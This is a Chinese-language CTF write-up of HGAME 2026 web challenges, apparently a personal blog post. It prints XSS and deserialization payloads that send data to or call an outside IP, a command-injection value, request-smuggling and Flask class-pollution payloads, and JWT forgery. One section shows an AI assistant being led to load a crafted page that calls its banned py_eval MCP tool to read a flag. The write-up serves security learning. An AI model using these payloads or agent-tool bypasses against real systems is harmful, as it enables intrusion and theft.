CTF HGAME HGAME-2026 不是炒米线 2026-02-22 2026-02-22 魔理沙的魔法目录 我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 curl 'http://cloud-big.hgame.vidar.club:30850/record' \ -X 'POST' \ -H 'Accept: */*' \ -H 'Content-Type: application/json' \ -H 'Origin: http://cloud-big.hgame.vidar.club:30850' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \ -H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142ce90' \ -H 'Referer: http://cloud-big.hgame.vidar.club:30850/' \ -H 'Content-Length: 11' \ -H 'Accept-Language: zh-CN,zh-Hans;q=0.9' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Connection: keep-alive' \ -H 'Priority: u=3, i' \ --data-raw '{"time":10}'
My Little Assistant 1 2 3 4 5 6 7 8 9 10 11 12 13 Woore最近在折腾一个“智能助手”, 它看起来很贴心: 能帮你分析网页 能访问外部资源 甚至还能“执行一些小工具” 但在信任这位小助手之前, 你或许该想想: 它到底是在理解你的需求, 还是在服从看到的一切?
这题好玩。
py_eval这个mcp被ban了,ai使用不了,只能使用py_request,但是这个mcp只支持get,无法使用它来直接ssrf请求mcp的py_eval。考虑xss,chrome刚好禁用了跨域限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Flag</title > </head > <body > <div id ="result" > Waiting...</div > <script > const pyCode = "result = open('/flag').read()" ; const payload = { "jsonrpc" : "2.0" , "id" : 1 , "params" : { "name" : "py_eval" , "arguments" : { "code" : pyCode } } }; fetch ('http://127.0.0.1:8001/mcp' , { method : 'POST' , headers : {'Content-Type' : 'application/json' }, body : JSON .stringify (payload) }) .then (res => res.json ()) .then (data => { try { let innerText = data.result .content [0 ].text ; document .getElementById ('result' ).innerText = innerText; } catch (e) { document .getElementById ('result' ).innerText = JSON .stringify (data); } }); </script > </body > </html >
MyMonitor 刚开始审计,尝试了一下jwt,但不是。
ai真好使啊((。bot执行ls命令的时候没有args,导致普通用户发送的args进入的bot那条指令里,造成了命令拼接。以下是 AI 分析,只能说勉勉强强知道在说啥吧💦
核心漏洞在于 attachment/handler.go 中对 sync.Pool 的不当使用,导致了对象池污染(Object Pool Pollution),结合后台可能存在的 Admin Bot,可以实现远程代码执行(RCE)获取 Flag。
漏洞分析 漏洞位于 attachment/handler.go 的 UserCmd 函数中: 1 2 3 4 5 6 7 8 9 10 11 12 func UserCmd (c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) defer MonitorPool.Put(monitor) if err := c.ShouldBindJSON(monitor); err != nil { fmt.Println(monitor) c.JSON(400 , gin.H{"error" : err.Error()}) return } fmt.Println(monitor) defer monitor.reset() }
问题点: Go 的 sync.Pool 会复用对象。当一个对象被放回池中时,它保留了之前的状态,除非显式重置。 在 UserCmd 中,defer monitor.reset() 语句位于 ShouldBindJSON 错误检查的下方。 如果 ShouldBindJSON 返回错误(例如 JSON 格式正确但缺少 binding:”required” 的字段),函数会执行 return。 此时,defer MonitorPool.Put(monitor) 会执行(因为它在上方定义了),将对象放回池中。 但是,defer monitor.reset() 不会执行。 这就导致一个“脏”的 monitor 对象被放回了池中。这个对象可能包含了解析了一半的数据。 MonitorStruct 定义如下:
1 2 3 4 type MonitorStruct struct { Cmd string `json:"cmd" binding:"required"` Args string `json:"args"` }
如果我们发送一个 JSON:{“args”: “; cat /flag > /app/templates/login.html”},但不包含 cmd 字段: ShouldBindJSON 会先解析 JSON,将 Args 字段赋值进 monitor 对象。 然后进行校验,发现缺少 required 的 cmd 字段,返回错误。 UserCmd 提前返回,跳过了 monitor.reset()。 带有恶意 Args 的对象被放回 MonitorPool。
攻击路径 攻击需要结合 AdminCmd 函数。我们假设题目环境中有一个 Admin Bot 会定期调用 /api/admin/cmd 接口。 1 2 3 4 5 6 7 8 9 10 11 func AdminCmd (c *gin.Context) { monitor := MonitorPool.Get().(*MonitorStruct) defer MonitorPool.Put(monitor) if err := c.ShouldBindJSON(monitor); err != nil { } fullCommand := fmt.Sprintf("%s %s" , monitor.Cmd, monitor.Args) output, err := exec.Command("bash" , "-c" , fullCommand).CombinedOutput() }
如果 Admin Bot 发送的请求只包含 cmd(例如 {“cmd”: “ls”}),而不包含 args,json.Unmarshal 只会更新 JSON 中存在的字段。因此,MonitorStruct 中的 Args 字段将保留我们在 UserCmd 中污染的值。
最终执行的命令变为:ls ; cat /flag > /app/templates/login.html。
博丽神社的绘马挂 1 2 3 4 5 灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏 但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密 (Flag格式为 Hgame{example_flag})
弱密码,admin/admin123
有个 呼叫灵梦 按钮,感觉是考xss啊。
fuzz一下,挂一个
1 2 3 {{7*7}} <script > <alert > gg</alert > </script > <alert > bb</alert >
诶,只显示 49 bb 了,那说明确实是xss
本来是想先看一下灵梦的用户名是什么,读一下他的html,结果flag直接出来了…Payload如下:
1 2 3 4 <iframe src ="archives.html" style ="display:none" onload ="setTimeout(()=>{ var secret = this.contentWindow.document.body.innerText; fetch('http://120.26.146.96:3306/?flag=' + btoa(encodeURIComponent(secret))); }, 2000)" ></iframe >
1 The_Secret_Is: Hgame{tHE-secr3T_0F-haKUR31_JlNJ41a535673}
Vidarshop 1 2 ➜ c-jwt-cracker git:(master) ✗ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbVx1MDEzMW4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAxODczOH0.5akQz2Bq9KLrsBTGJBsNHfRewF5vUbX_TYI-yIxoY4Y Secret is "111"
爆破得到 jwt 的 secretKey 是 111,不过其实没有用,因为权限判定只依赖 uid,与 username 无关。不过可以伪造 admin:
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxODcwMDE4NzM4fQ.8mwUaZZr7hG0B-vSmZD8vTJ1SwqaCrpUrynjaHJk-Eo
尝试爆破uid,呃…
没招了,乱注册,发现 a、1 的 uid 都是 1,注意到:
1 2 3 4 5 6 1413914 a -> 1 d -> 4 m -> 13 i -> 9 n -> 14
所以 admin 的 uid 是 1413914 。哪个大聪明想出来的???
尝试修改余额:
1 2 3 4 5 await apiRequest('/api/update', 'POST', { "balance": 100000, "role": "user", "username": "chao" });
发现没用。
有提示:update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢
不对啊,原型链污染也改不了啊。。。原来是Flask,没注意到。
1 2 3 4 5 6 7 8 9 10 11 await apiRequest ('/api/update' , 'POST' , { "__class__" : { "__init__" : { "__globals__" : { "role" : "admin" , "balance" : 100000000 } } }, "username" : "1dmin" });
[Crypto] Classic 人工队输了
《文文。新闻》 信息收集 1 2 3 4 5 http://1.116.118.188:30211/@fs/app/frontend/src/App.jsx http://1.116.118.188:30211/@fs/app/frontend/src/main.jsx http://1.116.118.188:30211/@fs/app/frontend/src/utils/request.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import axios from "/node_modules/.vite/deps/axios.js?v=22a178ca" ;const request = axios.create ({ timeout : 5000 }); request.interceptors .request .use (config => { const token = localStorage .getItem ('token' ); if (token) { config.headers ['Authorization' ] = token; } return config; }, error => { return Promise .reject (error); }); request.interceptors .response .use (response => { return response.data ; }, error => { if (error.response ) { alert (error.response .data .error || 'Request Failed' ); } return Promise .reject (error); }); export default request;
1 2 3 4 5 6 7 8 9 10 11 12 13 import { defineConfig } from 'vite' import react from '@vitejs/plugin-react' export default defineConfig ({ plugins : [react ()], server : { host : '0.0.0.0' , port : 5173 , allowedHosts : true , } })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import http from 'http' ;import httpProxy from 'http-proxy' ;const RUST_TARGET = 'http://127.0.0.1:3000' ;const VITE_TARGET = 'http://127.0.0.1:5173' ;const proxy = httpProxy.createProxyServer ({ agent : new http.Agent ({ keepAlive : true , maxSockets : 100 , keepAliveMsecs : 10000 }), xfwd : true , }); proxy.on ('error' , (err, req, res ) => { console .error ('[Proxy Error]' , err.message ); if (res && !res.headersSent ) { try { res.writeHead (502 ); res.end ('Bad Gateway' ); } catch (e){} } }); const server = http.createServer ((req, res ) => { if (req.url .startsWith ('/api/' )) { proxy.web (req, res, { target : RUST_TARGET }); } else { proxy.web (req, res, { target : VITE_TARGET }); } }); console .log (\"馃敟 Node.js Dumb Proxy running on port 80\"); server.listen(80);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "name" : "bunbunmaru-frontend" , "private" : true , "version" : "0.0.0" , "type" : "module" , "scripts" : { "dev" : "vite" , "build" : "vite build" , "lint" : "eslint ." , "preview" : "vite preview" , "start-proxy" : "node proxy.js" } , "dependencies" : { "axios" : "^1.6.0" , "react" : "^18.2.0" , "react-dom" : "^18.2.0" , "react-router-dom" : "^6.20.0" , "http-proxy" : "^1.18.1" } , "devDependencies" : { "@types/react" : "^18.2.0" , "@types/react-dom" : "^18.2.0" , "@vitejs/plugin-react" : "^4.2.0" , "eslint" : "^8.50.0" , "vite" : "6.2.0" } }
至此,了解到靶机内部网络结构。有前端(vite,5173)、后端(rust,3000)、代理(node.js,80)。proxy用来实现前端到后端的代理。注意到"vite": "6.2.0"存在CVE-2025-30208,可以任意文件读取(eg. /@fs/etc/passwd?import&raw??)。进一步探索:
1 2 3 export default "KUBERNETES_SERVICE_PORT=443\u0000KUBERNETES_PORT=tcp://10.43.0.1:443\u0000npm_config_user_agent=npm/10.8.2 node/v18.20.8 linux x64 workspaces/false\u0000NODE_VERSION=18.20.8\u0000SUPERVISOR_GROUP_NAME=vite-frontend\u0000HOSTNAME=ret2shell-212-3058-1770605791\u0000YARN_VERSION=1.22.22\u0000npm_node_execpath=/usr/local/bin/node\u0000npm_config_noproxy=\u0000HOME=/root\u0000npm_package_json=/app/frontend/package.json\u0000LC_CTYPE=C.UTF-8\u0000npm_config_userconfig=/root/.npmrc\u0000npm_config_local_prefix=/app/frontend\u0000COLOR=0\u0000npm_config_prefix=/usr/local\u0000npm_config_npm_version=10.8.2\u0000npm_config_cache=/root/.npm\u0000KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\u0000npm_config_node_gyp=/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\u0000PATH=/app/frontend/node_modules/.bin:/app/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/app/frontend:/app/backend:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE=/usr/local/bin/node\u0000npm_package_name=bunbunmaru-frontend\u0000KUBERNETES_PORT_443_TCP_PORT=443\u0000KUBERNETES_PORT_443_TCP_PROTO=tcp\u0000SUPERVISOR_ENABLED=1\u0000npm_lifecycle_script=vite\u0000npm_package_version=0.0.0\u0000npm_lifecycle_event=dev\u0000KUBERNETES_SERVICE_PORT_HTTPS=443\u0000KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\u0000SUPERVISOR_PROCESS_NAME=vite-frontend\u0000npm_config_globalconfig=/usr/local/etc/npmrc\u0000npm_config_init_module=/root/.npm-init.js\u0000KUBERNETES_SERVICE_HOST=10.43.0.1\u0000PWD=/app/frontend\u0000npm_execpath=/usr/local/lib/node_modules/npm/bin/npm-cli.js\u0000npm_config_global_prefix=/usr/local\u0000npm_command=run-script\u0000INIT_CWD=/app/frontend\u0000EDITOR=vi\u0000"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 use crate::http_parser::Request;use std::sync::Mutex;use std::collections::HashMap;use serde::{Deserialize, Serialize};use lazy_static::lazy_static;use uuid::Uuid;lazy_static! { static ref USERS: Mutex<HashMap<String , UserRecord>> = Mutex::new (HashMap::new ()); static ref COMMENTS: Mutex<Vec <CommentData>> = Mutex::new (Vec ::new ()); } #[derive(Deserialize)] struct AuthRequest { username: String , password: String , } #[derive(Clone)] struct UserRecord { password: String , token: String , } #[derive(Serialize, Deserialize, Clone)] struct CommentData { username: String , content: String , } fn make_resp (status: &str , body: &str ) -> String { format! ( "HTTP/1.1 {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}" , status, body.len (), body ) } fn resp_ok (msg: &str ) -> String { make_resp ("200 OK" , msg) } pub fn resp_err (status: &str , msg: &str ) -> String { make_resp (status, &format! (r#"{{"error": "{}"}}"# , msg)) } pub fn handle_register (req: &Request) -> String { if req.method != "POST" { return resp_err ("405 Method Not Allowed" , "Only POST" ); } let content_type = req.headers.get ("content-type" ).map (|s| s.as_str ()).unwrap_or ("" ); let form : AuthRequest = if content_type.contains ("application/json" ) { match req.parse_json () { Ok (d) => d, Err (_) => return resp_err ("400 Bad Request" , "Invalid JSON format" ), } } else if content_type.contains ("application/x-www-form-urlencoded" ) { let map = req.parse_form (); let username = map.get ("username" ).cloned ().unwrap_or_default (); let password = map.get ("password" ).cloned ().unwrap_or_default (); if username.is_empty () || password.is_empty () { return resp_err ("400 Bad Request" , "Missing username or password" ); } AuthRequest { username, password } } else { return resp_err ("415 Unsupported Media Type" , "Content-Type must be json or form" ); }; let mut db = USERS.lock ().unwrap (); if db.contains_key (&form.username) { return resp_err ("409 Conflict" , "User already exists" ); } let new_token = Uuid::new_v4 ().to_string (); db.insert ( form.username.clone (), UserRecord { password: form.password, token: new_token.clone (), }, ); println! ("User registered: {} with token: {}" , form.username, new_token); resp_ok (&format! ( r#"{{"status": "registered", "token": "{}"}}"# , new_token )) } pub fn handle_login (req: &Request) -> String { if req.method != "POST" { return resp_err ("405 Method Not Allowed" , "Only POST" ); } let content_type = req.headers.get ("content-type" ).map (|s| s.as_str ()).unwrap_or ("" ); let form : AuthRequest = if content_type.contains ("application/json" ) { match req.parse_json () { Ok (d) => d, Err (_) => return resp_err ("400 Bad Request" , "Invalid JSON format" ), } } else if content_type.contains ("application/x-www-form-urlencoded" ) { let map = req.parse_form (); let username = map.get ("username" ).cloned ().unwrap_or_default (); let password = map.get ("password" ).cloned ().unwrap_or_default (); if username.is_empty () || password.is_empty () { return resp_err ("400 Bad Request" , "Missing username or password" ); } AuthRequest { username, password } } else { return resp_err ("415 Unsupported Media Type" , "Content-Type must be json or form" ); }; let db = USERS.lock ().unwrap (); if let Some (record) = db.get (&form.username) { if record.password == form.password { return resp_ok (&format! ( r#"{{"status": "success", "token": "{}"}}"# , record.token )); } } resp_err ("401 Unauthorized" , "Invalid credentials" ) } pub fn handle_comment (req: &Request) -> String { let auth_header = req.headers.get ("authorization" ).map (|v| v.as_str ()); if auth_header.is_none () { return resp_err ("401 Unauthorized" , "Missing Authorization header" ); } let input_token = auth_header.unwrap (); let mut current_user = String ::new (); { let db = USERS.lock ().unwrap (); for (username, record) in db.iter () { if record.token == input_token { current_user = username.clone (); break ; } } } if current_user.is_empty () { return resp_err ("403 Forbidden" , "Invalid Token" ); } match req.method.as_str () { "GET" => { let db = COMMENTS.lock ().unwrap (); let json = serde_json::to_string (&*db).unwrap_or ("[]" .to_string ()); resp_ok (&json) } "POST" => { #[derive(Deserialize)] struct NewComment { content: String , } let content_type = req.headers.get ("content-type" ).map (|s| s.as_str ()).unwrap_or ("" ); let new_comment : NewComment = if content_type.contains ("application/json" ) { match req.parse_json () { Ok (p) => p, Err (_) => return resp_err ("400 Bad Request" , "Invalid JSON" ), } } else if content_type.contains ("application/x-www-form-urlencoded" ) { let map = req.parse_form (); let content = map.get ("content" ).cloned ().unwrap_or_default (); if content.is_empty () { return resp_err ("400 Bad Request" , "Missing content" ); } NewComment { content } } else { return resp_err ("415 Unsupported Media Type" , "Content-Type must be json or form" ); }; let mut comments = COMMENTS.lock ().unwrap (); println! ("[HANDLER] Saving comment: {:?}" , new_comment.content); comments.push (CommentData { username: current_user, content: new_comment.content, }); resp_ok (r#"{"status": "comment added"}"# ) } _ => resp_err ("405 Method Not Allowed" , "Method not supported" ), } } pub fn resp_not_found () -> String { resp_err ("404 Not Found" , "Resource not found" ) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 mod http_parser;mod handlers;use bytes::{Buf, BytesMut};use http_parser::ParseResult;use tokio::io::{AsyncReadExt, AsyncWriteExt};use tokio::net::{TcpListener, TcpStream};#[tokio::main] async fn main () -> Result <(), Box <dyn std::error::Error>> { let listener = TcpListener::bind ("0.0.0.0:3000" ).await ?; println! ("server running on 127.0.0.1:3000" ); loop { let (socket, _) = listener.accept ().await ?; tokio::spawn (async move { if let Err (e) = process_connection (socket).await { eprintln! ("Connection error: {}" , e); } }); } } async fn process_connection (mut socket: TcpStream) -> Result <(), Box <dyn std::error::Error>> { let mut buffer = BytesMut::with_capacity (4096 ); loop { let n = socket.read_buf (&mut buffer).await ?; if n == 0 { if buffer.is_empty () { return Ok (()); } else { eprintln! ( "Connection closed with {} bytes remaining (garbage)" , buffer.len () ); return Ok (()); } } loop { match http_parser::parse_packet (&mut buffer) { ParseResult::Complete (req, consumed_len) => { println! ("Parsed request: {} {}" , req.method, req.route); let response = router (&req); socket.write_all (response.as_bytes ()).await ?; buffer.advance (consumed_len); } ParseResult::Partial => { break ; } ParseResult::Invalid (skip_len) => { println! ("Warning: Skipping {} bytes of garbage data..." , skip_len); buffer.advance (skip_len); if buffer.is_empty () { break ; } } } } } } fn router (req: &http_parser::Request) -> String { if req.version != "HTTP/1.1" { return handlers::resp_err ( "400 Bad Request" , "Wrong HTTP Version. Only HTTP/1.1 is supported." , ); } if !req.queries.is_empty () { println! (" -> Query params: {:?}" , req.queries); } match req.route.as_str () { "/api/register" => handlers::handle_register (req), "/api/login" => handlers::handle_login (req), "/api/comment" => handlers::handle_comment (req), _ => handlers::resp_not_found (), } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 use bytes::BytesMut;use serde::Deserialize;use std::{collections::HashMap, str };#[derive(Debug)] pub struct Request { pub method: String , pub route: String , pub queries: HashMap<String , String >, pub version: String , pub headers: HashMap<String , String >, pub body: String , } pub enum ParseResult { Complete (Request, usize ), Partial, Invalid (usize ), } impl Request { pub fn parse_form (&self ) -> HashMap<String , String > { let mut map = HashMap::new (); for pair in self .body.split ('&' ) { if let Some ((k, v)) = pair.split_once ('=' ) { if !k.is_empty () { map.insert (k.to_string (), v.to_string ()); } } else if !pair.is_empty () { map.insert (pair.to_string (), "" .to_string ()); } } map } pub fn parse_json <T: for <'a > Deserialize<'a >>(&self ) -> Result <T, serde_json::Error> { serde_json::from_str (&self .body) } } pub fn parse_packet (buffer: &mut BytesMut) -> ParseResult { let req_line_end = match buffer.windows (2 ).position (|w| w == b"\r\n" ) { Some (pos) => pos, None => return ParseResult::Partial, }; let req_line_len = req_line_end + 2 ; let raw_req_line = match str ::from_utf8 (&buffer[..req_line_end]) { Ok (s) => s, Err (_) => return ParseResult::Invalid (req_line_len), }; let (method, route, queries, version) = match parse_reqline (raw_req_line) { Some (res) => res, None => return ParseResult::Invalid (req_line_len), }; let header_end = match buffer.windows (4 ).position (|w| w == b"\r\n\r\n" ) { Some (pos) => pos, None => return ParseResult::Partial, }; let raw_headers = match str ::from_utf8 (&buffer[req_line_len..header_end]) { Ok (s) => s, Err (_) => return ParseResult::Invalid (header_end + 4 ), }; let headers = parse_headers (raw_headers); let body_length : usize = headers .get ("content-length" ) .and_then (|v| v.parse ().ok ()) .unwrap_or (0 ); let total_len = header_end + 4 + body_length; if buffer.len () < total_len { return ParseResult::Partial; } let body_start = header_end + 4 ; let body_end = body_start + body_length; let body = str ::from_utf8 (&buffer[body_start..body_end]) .unwrap_or ("" ) .to_string (); ParseResult::Complete ( Request { method, route, queries, version, headers, body, }, total_len, ) } fn parse_headers (raw_headers: &str ) -> HashMap<String , String > { let lines = raw_headers.lines (); let mut headers : HashMap<String , String > = HashMap::new (); for line in lines { if let Some ((k, v)) = line.split_once (":" ) { if !k.is_empty () { headers.insert (k.trim ().to_lowercase (), v.trim ().to_string ()); } } } headers } fn parse_reqline (raw_req_line: &str ) -> Option <(String , String , HashMap<String , String >, String )> { let mut raw_req_parts = raw_req_line.split_whitespace (); let method = raw_req_parts.next ()?.to_string (); let raw_uri = raw_req_parts.next ()?; let (path, queries) = parse_uri (raw_uri); let version = raw_req_parts.next ()?.to_string (); Some ((method, path, queries, version)) } fn parse_uri (raw_uri: &str ) -> (String , HashMap<String , String >) { let (path, raw_query) = match raw_uri.split_once ("?" ) { Some ((p, q)) => (p, q), None => (raw_uri, "" ), }; let mut queries : HashMap<String , String > = HashMap::new (); if !raw_query.is_empty () { for query in raw_query.split ("&" ) { if query.is_empty () { continue ; } let (k, v) = match query.split_once ("=" ) { Some ((k, v)) => (k, v), None => (query, "" ), }; if !k.is_empty () { queries.insert (k.to_string (), v.to_string ()); } } } (path.to_string (), queries) }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 [supervisord ] nodaemon=true user=root [program:rust-backend ] directory=/app command=/app/backend_server user=ctf autostart=true autorestart=true stdout_logfile=/dev/stdout stdout_logfile_maxbytes=0 stderr_logfile=/dev/stderr stderr_logfile_maxbytes=0 [program:vite-frontend ] directory=/app/frontend command=npm run dev -- --host 0.0 .0 .0 --port 5173 user=ctf autostart=true autorestart=true stdout_logfile=/dev/stdout stdout_logfile_maxbytes=0 stderr_logfile=/dev/stderr stderr_logfile_maxbytes=0 [program:node-proxy ] directory=/app/frontend command=node proxy.js user=root autostart=true autorestart=true stdout_logfile=/dev/stdout stdout_logfile_maxbytes=0 stderr_logfile=/dev/stderr stderr_logfile_maxbytes=0
Fuzz 观察到,当注册一个用户时,新闻稿会新增几条。但是前后端源码都没有新增新闻的逻辑,那么很可能有一个bot在轮询。
审计 已经拿到后端源码,开始审计。Rust的语法真的不诗人阅读,不过看到http_parser.rs,怎么都会想想,“诶这个东西居然要自己造轮子吗?“。那么联系到http解析相关考点,大概率是请求走私吧。结合前面的信息收集,数据流是这样的:(App => proxy => backend),
直接来看Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /api/login HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive <chunk_size> POST /api/comment HTTP/1.1 Host: 127.0.0.1 Authorization: <Token> Content-Type: application/x-www-form-urlencoded Content-Length: 350 content= 0
这里的Transfer-Encoding: chunked可以通过proxy,让proxy认为请求完整,此时会原封不动发给backend(其实export了backend的端口,直接发给backend也行?🤔)。
Rust解析到POST /api/login时,由于没有Content-Length,此时就不满足buffer.len() < total_len,认为Body为空。这时候解析空的JSON就会报错,返回400 Bad Request。但是此时缓冲区里还剩下<chunk_size>\r\nPOST /api/comment...,Rust会把它当成新的 HTTP 请求来解析。
遇到<chunk_size>这种不符合METHOD URI VERSION格式的字符串,触发了 ParseResult::Invalid
1 2 3 4 5 6 7 8 ParseResult::Invalid (skip_len) => { println! ("Warning: Skipping {} bytes of garbage data..." , skip_len); buffer.advance (skip_len); if buffer.is_empty () { break ; } }
直接被buffer.advance(skip_len);丢弃了,刚好剩下一个完整的POST请求的模板。
接着来看内层,构造发送新闻的请求,这里伪造Content-Length,后端也没有做进一步检测
1 2 3 4 5 6 7 POST /api/comment HTTP/1.1 Host: 127.0.0.1 Authorization: <Token> Content-Type: application/x-www-form-urlencoded Content-Length: 350 content=
来看源码:
1 2 3 ParseResult::Partial => { break ; }
此时Rust返回ParseResult::Partial,跳出解析循环。然后这个Keep-Alive的TCP就挂起了,剩下的342个字节就会拼接上去。因为外层请求已经400,Node.js Proxy认为刚才的会话结束了,于是把这条污染的TCP连接放回了空闲连接池。当下一次bot发送新闻时,Node.js刚好把这的连接分配给bot。然后bot的POST /api/comment HTTP/1.1\r\nAuthorization: xxxxx就拼接到content=后面,进入了新闻数据库。
不过这个Content-Length需要多调几次,如果太大,拼接上bot的请求后依然不足长度,那么这条请求就会被丢弃;如果太短,获取不到有效信息。
最后获取到bot的post请求,flag刚好也在这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/comment HTTP/1.1 x-forwarded-host: localhost x-forwarded-proto: http x-forwarded-port: 80 x-forwarded-for: ::1 content-type: application/json content-length: 208 flag: hgame{TH15-l5-4_d4lLy-N3W5137d6111ef} authorization: 9845391c-af5a-4373-90e4-d57e7ebc1704 connection: keep-alive accept: application/json accept-encoding: gzip, deflate user-agent: Bunbunmaru-Off
ezCC 下载附件获得ezCC.war,拖进jadx看一下WEB-INF/web.xml
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
进一步发现commons-collections是3.2.1版本。
妈的Oracle下载jdk还要注册账号,找到了存档站,以备不时之需:https://d10.injdk.cn/openjdk/oraclejdk/8/
首先尝试ysoserial-all打cc3(我不造啊,ai说这个链出的题目多):
1 java -jar ysoserial-all.jar CommonsCollections3 "curl http://120.26.146.96:3306" | base64 | pbcopy
然后把修改cookie为userInfo={复制的东西},但是没收到啊,可能是jdk版本比较高,已经修了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81 ) com.sun.proxy.$Proxy4.entrySet(Unknown Source) sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452 ) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:498 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461 ) Hgame.ezCC.Tool.deserialize(Tool.java:9 ) Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74 ) Hgame.ezCC.myServlet.doGet(myServlet.java:19 ) javax.servlet.http.HttpServlet.service(HttpServlet.java:529 ) javax.servlet.http.HttpServlet.service(HttpServlet.java:623 ) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51 )
确实不太熟悉,丢给ai分析一下。总结来说是JDK版本>8u71已经修了。
“CC3 链是以 AnnotationInvocationHandler 为入口的。在低版本 JDK 中,AnnotationInvocationHandler 的 readObject 会无脑信任并操作 Map。但在高版本 JDK(8u71及以后)中,Oracle 修复了这个类。它现在会检查:这个 Map 里的 Key 是否真的是那个 Annotation(这里是 @Override)里的成员方法。报错说 @Override 里找不到 entrySet,说明反序列化执行到了这一步,被 JDK 的修复逻辑给拦住了。”
尝试CC6,又报错:
